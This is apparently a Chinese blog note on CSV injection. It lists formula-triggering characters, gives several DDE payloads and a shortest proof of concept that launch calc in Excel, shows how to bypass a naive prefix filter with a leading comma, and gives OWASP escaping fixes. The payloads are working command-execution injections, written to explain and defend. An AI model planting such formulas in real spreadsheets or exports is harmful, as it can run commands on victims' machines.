CSV注入漏洞基本原理

CSV注入的原理是当excel或者CSV格式文件中的单元格存在formula时,excel会进行计算,可能导致数据和代码的混淆。

什么时候单元格的内容会被计算呢?目前看到的是以下几种情况

1
2
3
4
5
6
7
8
=1+2	=>	3
-1+2	=>	=-1+2	=>	1
+1+2	=>	=1+2	=>	3

据说还有以下三种字符开头的会被计算,但还没构造出PoC。
@
\t (TAB,0x09)
\r (Carriage Return.0x0D )

我们在网上见得最多的PoC应该是来自 The Absurdly Underestimated Dangers of CSV Injection 一文:

1
"=2+5+cmd|' /C calc'!A0"

但其实参考 What does the formula =cmd|’/C calc’!A0 do in Excel and why? 结合实验,我们发现 A0 是不必要的,起作用的是感叹号。所以以下PoC都是可用的

1
2
3
4
5
=1+cmd|' /C calc'!neosayhi
-cmd|' /C calc'!whatever	(等价于 =-cmd|' /C calc'!whatever)
+cmd|' /C calc'!foobar		(等价于 =+cmd|' /C calc'!foobar)
-cmd|'/C calc'!s			(/C前不需要空白符也可以)
-calc|1!s					(将任意参数传递给calc命令也可以)

弹不出框需要开启DDE

文件->选项->信任中心->信任中心设置->外部内容中开启DDE(Dynamic Data Exchange)

image-20230628111803646

CSV注入漏洞最短PoC

1
-calc|1!s

修复建议

参考 https://owasp.org/www-community/attacks/CSV_Injection 对每个cell进行包裹和转义,即 xxx"s => "'xxx""s"

  1. 每个cell用双引号包裹
  2. cell开头加单引号
  3. cell中的双引号使用两个双引号转义

例如

InputEscaped Output
=1+2";=1+2"'=1+2"";=1+2"
=1+2'" ;,=1+2"'=1+2'"" ;,=1+2"

失败的防御方法:如果只是检测不以 -+@= 开头是不行的,可以在前面加上 ,; 产生新的单元格来绕过,如

1
,=1+cmd|' /C calc'!neosayhi

不求甚解

其实还是没有完全理解 |! 是怎么起作用的,是否有相关的specification,是否有其他的特殊语法,是否有什么函数可以利用。但是先这样吧,用到再研究。

参考链接